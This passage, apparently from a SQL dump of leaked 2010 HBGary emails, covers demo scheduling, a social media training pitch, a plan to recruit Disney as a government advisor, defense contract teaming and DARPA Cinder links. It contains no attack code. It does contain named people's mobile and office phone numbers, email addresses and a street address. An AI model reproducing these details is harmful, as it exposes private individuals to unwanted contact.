Meade?&nbsp; Odds are pretty good that we will be\r\nable to include a demo of the Threat Management Center which is the ability to\r\nautomatically analyze large numbers of binaries.&nbsp; If we demo TMC it would\r\nneed to be via webex as our guys working on TMC are in Colorado.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;McGuffey, David C.\r\n[mailto:DAVID.C.MCGUFFEY@saic.com]&nbsp;\r\nSent:&nbsp;Tuesday, September\r\n07, 2010 8:22 AM\r\nTo:&nbsp;nolan@informationsecuritysolutionsllc.com;\r\nBob Slapnik; Rich Cummings\r\nCc:&nbsp;McGuffey, David C.;\r\nBlake Darche\r\nSubject:&nbsp;RE: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSame here.&nbsp; I&#8217;m off Friday to take 50 of our church youth\r\n(and 10 adults) on a beach camping trip to Assateague Is. this coming\r\nweekend.&nbsp; May take Monday to recover. I have a commitment on Wed the 15th,\r\nso Tue, Thu, Fri would be best.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave McGuffey\r\n\r\n\r\n\r\n\r\n\r\nPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEM\r\n\r\n\r\n\r\n\r\n\r\nScience Applications International Corp., Columbia, MD\r\n\r\n\r\n\r\n\r\n\r\n410-872-4051 (w)\r\n\r\n\r\n\r\n\r\n\r\n443.597.6402 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;\r\nSent:&nbsp;Monday, September\r\n06, 2010 19:23\r\nTo:&nbsp;\'Bob Slapnik\';\r\nMcGuffey, David C.; \'Blake Darche\'; \'Rich Cummings\'\r\nSubject:&nbsp;RE: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWeek of 9/13 is much better for me&#8230;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\n\r\n\r\n\r\n\r\nCEO, Information Security Solutions\r\n\r\n\r\n\r\n\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n\r\n\r\n\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n\r\n\r\n\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, September\r\n02, 2010 11:16 PM\r\nTo:&nbsp;nolan@informationsecuritysolutionsllc.com;\r\n\'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'\r\nSubject:&nbsp;RE: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNolan,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry, can&#8217;t do 9/9.&nbsp; Here are some days/times that work&#8230;&#8230;.\r\n\r\n\r\n\r\n\r\n\r\n9/7, 10 am or later\r\n\r\n\r\n\r\n\r\n\r\n9/10\r\n\r\n\r\n\r\n\r\n\r\nWeek of 9/13 is open\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;\r\nSent:&nbsp;Thursday, September\r\n02, 2010 9:26 PM\r\nTo:&nbsp;\'Bob Slapnik\';\r\n\'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'\r\nSubject:&nbsp;RE: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow does next Thursday the 9th&nbsp;work for everyone?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\n\r\n\r\n\r\n\r\nCEO, Information Security Solutions\r\n\r\n\r\n\r\n\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n\r\n\r\n\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n\r\n\r\n\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, September\r\n02, 2010 3:34 PM\r\nTo:&nbsp;nolan@informationsecuritysolutionsllc.com;\r\n\'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'\r\nSubject:&nbsp;RE: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNolan, David, and Blake,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe welcome the opportunity to deploy our software in Government\r\nspaces.&nbsp; Prior to deploying we would like to get more clear on what\r\ncapabilities they need and which of our software products best fit the\r\nneeds.&nbsp; What is the best next step?&nbsp; Would it be to meet with you and\r\nyour Gov&#8217;t customer to match up needs and capabilities?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe schedules for Rich and myself are remarkably open over the\r\nnext few weeks.&nbsp; Please suggest a couple of days/times that work for you\r\nto get together.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; | &nbsp;Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;\r\nSent:&nbsp;Thursday, September\r\n02, 2010 2:14 PM\r\nTo:&nbsp;\'McGuffey, David C.\';\r\n\'Blake Darche\'; Rich Cummings; Bob Slapnik\r\nSubject:&nbsp;RE: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGreat idea Dave.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRich and Bob &#8211; Any thoughts on this concept?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nNolan\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\n\r\n\r\n\r\n\r\nCEO, Information Security Solutions\r\n\r\n\r\n\r\n\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n\r\n\r\n\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n\r\n\r\n\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;McGuffey, David C.\r\n[mailto:DAVID.C.MCGUFFEY@saic.com]&nbsp;\r\nSent:&nbsp;Thursday, September\r\n02, 2010 11:17 AM\r\nTo:&nbsp;nolan@informationsecuritysolutionsllc.com;\r\nBlake Darche\r\nCc:&nbsp;McGuffey, David C.\r\nSubject:&nbsp;RE: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNolan,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow do we get a demo copy of the HBGary stuff for Blake to test\r\nover at Gov&#8217;t spaces?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOnce we get a lab here, we should be testing out their stuff\r\nhere&#8230;but in the meantime, Blake should get a shot at it over there.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave McGuffey\r\n\r\n\r\n\r\n\r\n\r\nPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEM\r\n\r\n\r\n\r\n\r\n\r\nScience Applications International Corp., Columbia, MD\r\n\r\n\r\n\r\n\r\n\r\n410-872-4051 (w)\r\n\r\n\r\n\r\n\r\n\r\n443.597.6402 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;\r\nSent:&nbsp;Wednesday, September\r\n01, 2010 17:10\r\nTo:&nbsp;McGuffey, David C.;\r\nBlake Darche\r\nSubject:&nbsp;FW: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFYI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\n\r\n\r\n\r\n\r\nCEO, Information Security Solutions\r\n\r\n\r\n\r\n\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n\r\n\r\n\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n\r\n\r\n\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, September\r\n01, 2010 2:32 PM\r\nSubject:&nbsp;Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe rise of the social web has created an entirely new set\r\nof useful technologies and security vulnerabilities. &nbsp;It is our experience\r\nthat most individuals and organizations understand there are risks to using\r\nsocial media but don\'t understand the full extent, from what types of use, what\r\nthe real risks are, or how the vulnerabilities can be fully exploited, and how\r\nto effectively protect themselves.\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization. &nbsp;We feel this is an area that needs more attention and understanding\r\nquickly as the commercial social media platforms provide to much easy\r\nopportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day. &nbsp;We also offer a tailored training\r\nprogram that is preceded by a social media penetration test. &nbsp;The\r\ninformation gathered during the pen test is provided in a before and after\r\ninformation exposure report as well as the information is used to tailor the\r\ntraining program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training. &nbsp;You\r\ncan also follow us on twitter to receive regular updates &nbsp;or become a fan\r\nof our Facebook page.\r\n\r\nWeb:&nbsp;training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail:&nbsp;training@hbgaryfederal.com\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3108 - Release Date: 09/02/10\r\n02:34:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3110 - Release Date: 09/02/10\r\n14:50:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/06/10\r\n14:34:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3135 - Release Date: 09/14/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9238,'aaron_hbgary_com/9238.html'),(11876,'2010-09-16','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297008873.M806340P14101Q6731.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Disney Discussions','How about something more like this.   I don\'t want to put them in a place\r\nwhere they are being used for their name (\"There will be little if any\r\nwork\").  There has to be a value add for them (need to fill in blanks\r\nbelow).\r\n\r\n \r\nOur government (XYZ Customer) is in the process of planning to embrace new\r\nmedia technologies such as ways they can more effectively deliver messages\r\nto specific audiences using new media.\r\n\r\nHBGary is bringing together a list of large successful companies (Apple,\r\nGoogle) in this space as advisors, as well as, a list of small successful\r\ncompanies like PointAbout, inc. to help the government with the task.  We\r\nwould like to include Disney on the list of advisors.\r\n\r\nThe work will include the occasional meeting to discuss new ideas,\r\nchallenges, and to get feedback or advice that might help (XYZ Customer)\r\nmore successfully achieve their goals.\r\n\r\nDisney\'s value add would be ().\r\n\r\nWould Disney be interested in discussing the opportunity with HBGary? \r\n\r\n____________________________________________________\r\nScott B. Suhy\r\nCEO, PointAbout Inc.\r\nCell: 202.557.6937\r\n1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\nskype:scott.suhy \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 16, 2010 1:54 PM\r\nTo: Scott Suhy\r\nSubject: Disney Discussions\r\n\r\nScott,\r\n\r\nLet me know if this doesn\'t read right...\r\n\r\nBasically in many different areas of the government there is a need to\r\nembrace new media technologies.  In the area that I am pursuing I am looking\r\nat ways the government can more effectively deliver messages to specific\r\naudiences using new media.  I am working to develop a small list of large\r\nsuccessful companies in this space as advisors in helping, likewise I am\r\nbuilding a short list of small successful companies that will help me\r\nexecute.  There will be little if any work required  once on contract other\r\nthan to on occasion meet with us to discuss new ideas, challenges, and to\r\nget feedback or advice that might help us more successfully achieve our\r\ngoals.\r\n\r\nWe are currently in proposal phase and would like to discuss the possibility\r\nof putting Disney on our team of advisors.  I would like to meet with\r\nsomeone that is strategically focused and if possible posses government\r\nclearances.\r\n\r\nThank You,\r\nAaron\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.851 / Virus Database: 271.1.1/3136 - Release Date: 09/16/10\r\n02:34:00\r\n\r\n',13120,'aaron_hbgary_com/13120.html'),(11877,'2010-09-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008874.M269443P14101Q6733.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: Social media event with DoD focus','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nat Parsons\r\n[mailto:reply-99764@mail.accessintelemail.com] \r\nSent: Thursday, September 16, 2010 3:15 PM\r\nTo: bob@hbgary.com\r\nSubject: Social media event with DoD focus\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  Despite\r\n  all the excitement about the potential of the Department of Defense\'s use of\r\n  social media, important issues remain. Including: \r\n  \r\n   Top Defense Department officials\r\n       have acknowledged that social media can be a double-edge sword,\r\n       providing benefits but also exposing a cyber security risk. Operational\r\n       security, which had been the largest stumbling block to initiating a\r\n       policy in the first place, continues to be a challenge.\r\n   Another issue is metrics. How\r\n       can the potential of social media efforts be measured? What initiatives\r\n       are they most appropriate for?\r\n   What are some\r\n       early lessons learned from social media efforts? What does the future\r\n       hold? Is the Defense Department likely to commit even more resources to\r\n       social media efforts? \r\n  \r\n  You\r\n  will take away from this 90 minute webinar knowledgeable insight and analysis\r\n  of what the near term future holds for DoD\'s social media efforts.\r\n  \r\n  \r\n   \r\n    \r\n    Hear\r\n    From:\r\n    \r\n   \r\n   \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    Major Juanita Chang\r\n    Director, Online and Social Media Division of the \r\n    Office of the Chief of Public Affairs\r\n    U.S. Army, Pentagon \r\n    \r\n   \r\n   \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    Commander Scott McIlnay\r\n    Director of Emerging Media Integration \r\n    Department of the Navy\'s Office of Information (CHINFO) \r\n    U.S. Navy, Pentagon \r\n    \r\n   \r\n   \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    Gregg Your\r\n    Chief of Command Information/Public Access Web Content Manager\r\n    U.S. Joint Forces Command \r\n    \r\n   \r\n   \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    Webinar\r\n    Moderator\r\n    John Bell\r\n    Managing Director/360° Digital Influence\r\n    Ogilvy Public Relations \r\n    \r\n   \r\n  \r\n  \r\n  You can\r\n  view it at your desk or gather around a speakerphone in a conference room – no travel required!\r\n  Each registration comes with access to the archived version of the program\r\n  and the PDFs of the speaker materials for twelve months. \r\n  Visit\r\n  www.defensedaily.com/events/socialmediawebinar\r\n  to register and for more information. Register your team today!\r\n  &nbsp;\r\n  Defense Daily - Access Intelligence, LLC -\r\n  4 Choke Cherry Road 2nd Floor - Rockville, MD 20850\r\n  To unsubscribe, click\r\n  here or send an email to: unsubscribe-99764@mail.accessintelemail.com\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13006,'aaron_hbgary_com/13006.html'),(11878,'2010-09-16','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297008874.M34064P14101Q6732.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: ManTech','Aaron:\r\nThanks - sorry I cannot be in the discussion on Friday.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 16, 2010 10:16 AM\r\nTo: Pisani, Albert A. (TASC)\r\nCc: Lovegrove, John (TASC); Wagner, Rick (TASC)\r\nSubject: Re: ManTech\r\n\r\nAl,\r\n\r\nOk.  I on the same page.  Separately I was not that worried about a\r\nManTech/Abraxas team but if they go with SAIC that worries me and I\r\nthink would erode at our pwin.  I dint think we need to team with both\r\nbut look forward to the discussion on that.  I also think, as I\r\nmentioned, ManTech would not have gotten very many seats from SAIC.\r\n\r\nI was out in Colorado springs earlier in the week and talked with some\r\nfolks that should be applying now.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 16, 2010, at 9:58 AM, \"Pisani, Albert A. (TASC)\"\r\n wrote:\r\n\r\n> Aaron:\r\n> I am on an airplane Friday.\r\n> Sorry, just want to ensure that we protect workshare, but most\r\n> importantly that we win.\r\n> Has the team made any progress on key hires?\r\n>\r\n> AL\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, September 16, 2010 9:44 AM\r\n> To: Pisani, Albert A. (TASC)\r\n> Cc: Lovegrove, John (TASC)\r\n> Subject: Re: ManTech\r\n>\r\n> Al,\r\n>\r\n> I can describe a little better in person.  ManTech has some key\r\n> discriminators in ops, infrastructure.\r\n>\r\n> Abraxis also has discriminators in ops and infrastructure, but in my\r\n> opinion less and slightly different flavors.\r\n>\r\n> I would be more worried about ManTech.  If you are available Friday I\r\n> can give more details or can just explain them to John.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Sep 16, 2010, at 6:31 AM, \"Pisani, Albert A. (TASC)\"\r\n>  wrote:\r\n>\r\n>> Ok\r\n>> What do we get from either Mtech or praxis in terms of quals and pb\r\n> win?\r\n>>\r\n>> Al\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, September 15, 2010 08:46 PM\r\n>> To: Pisani, Albert A. (TASC)\r\n>> Cc: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC)\r\n>> Subject: Re: ManTech\r\n>>\r\n>> Al,\r\n>>\r\n>> They were teamed up with ManTech but since ManTech has decided not to\r\n>> prime I am unsure of their status.  They can\'t prime it so I imagine\r\n>> they would need to talk with SAIC or TASC to get a seat.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Sep 15, 2010, at 8:39 PM, \"Pisani, Albert A. (TASC)\"\r\n>>  wrote:\r\n>>\r\n>>> Aaron:\r\n>>> Is Abraxis committed?  We are teamed on several other deals and know\r\n> their seniors quite well.\r\n>>>\r\n>>> Al\r\n>>>\r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>> Sent: Wednesday, September 15, 2010 07:29 PM\r\n>>> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A.\r\n> (TASC); Lovegrove, John (TASC)\r\n>>> Subject: ManTech\r\n>>>\r\n>>> All,\r\n>>>\r\n>>> I was a little taken aback when I found put today that ManTech is\r\n> thinking of teaming with SAIC. ManTech as going to team with Abraxis\r\nbut\r\n> I believe against us and SAIC thought they didn\'t have a high enough\r\n> pwin.  If Abraxis is teamless we have to assume they are courting\r\nSAIC.\r\n> I believe we have to add ManTech to the team.  I talked with Bob\r\nFrisbie\r\n> today and based on my conversation he would rather join our team if we\r\n> are interested.  I think we need to meet soonest to discuss.  I am\r\n> confident in our position but would not want to if I don\'t have to go\r\n> against SAIC, NG, ManTech, and Abraxis.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPhone\r\n',9255,'aaron_hbgary_com/9255.html'),(11879,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008874.M795980P14101Q6734.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','CINDER','OK I have distilled out what is essential I think to understand the program and write an abstract.  Call with any thoughts or questions.\r\n\r\n',12659,'aaron_hbgary_com/12659.html'),(11880,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008875.M66003P14101Q6735.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Fwd: Cinder Program','thats cuz he sent it to bob.slapnik@hbgary.com. &nbsp;see ppt link below.also link to the darpa proposal document.https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=cf11e81b7b06330fd249804f4c247606&amp;tab=core&amp;_cview=0Begin forwarded message:From: Charlie Scuilla &lt;charlie@scuilla.com&gt;Date: September 16, 2010 2:50:31 PM EDTTo: Bob Siapnik &lt;bob.slapnik@hbgary.com&gt;Cc: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Cinder ProgramReply-To: Charlie Scuilla &lt;charlie@iomaxis.com&gt;Bob:Link to Darpa site for Presentation on Cinder Programhttp://cinderprogram.spcconference.com/cgi-bin/index.cgiBest regards,Charlie',9806,'aaron_hbgary_com/9806.html'),(11881,'2010-09-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008875.M987539P14101Q6736.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Covert monitoring project for NG - reuse this?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg and Aaron,\r\n\r\n&nbsp;\r\n\r\nHere is a proposal we wrote for NG last summer. &nbsp;Any\r\ninterest in using any of this for the DARPA project?\r\n\r\n&nbsp;\r\n\r\nOr is our current approach with AD the right way?\r\n\r\n&nbsp;\r\n\r\nI still don&#8217;t have a handle on what problem(s) DARPA\r\nwants to solve.&nbsp; Need to read the ppt.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5703,'aaron_hbgary_com/5703.html'),(11882,'2010-09-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008876.M263459P14101Q6737.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Info on DARPA Cinder program','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n&nbsp;\r\n\r\nHere is the link to the DARPA Cinder program.&nbsp; This is where\r\nwe learn what they want.\r\n\r\nhttp://cinderprogram.spcconference.com/cgi-bin/index.cgi\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8425,'aaron_hbgary_com/8425.html'),(11883,'2010-09-16','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008876.M479593P14101Q6738.eml','\"Aaron Barr\" <aaron@hbgary.com>','Proposal to US-CERT','AaronWe need to create a proposal to US-CERT and confirm we are on the same page.Step 1 Create a description that they approveStep 2 Present a proposal with $ and confirm that we are in the ball park and when they would have approved funding\r\nWhat do you think?  Let&#39;s try to get something out early next week?-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n',16560,'aaron_hbgary_com/16560.html'),(11884,'2010-09-16','\"AFCEA DC Management Office\" <info@afceadc.org>','/aaron@hbgary.com/new/1297008876.M726135P14101Q6739.eml','aaron@hbgary.com','Tables almost gone for Monthly Luncheon Series - Kickoff Lunch is Sept 27, with an Army Panel chaired by CIO G-6 LTG Sorenson','\r\n\r\n\r\nAFCEA DC Monthly Luncheon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  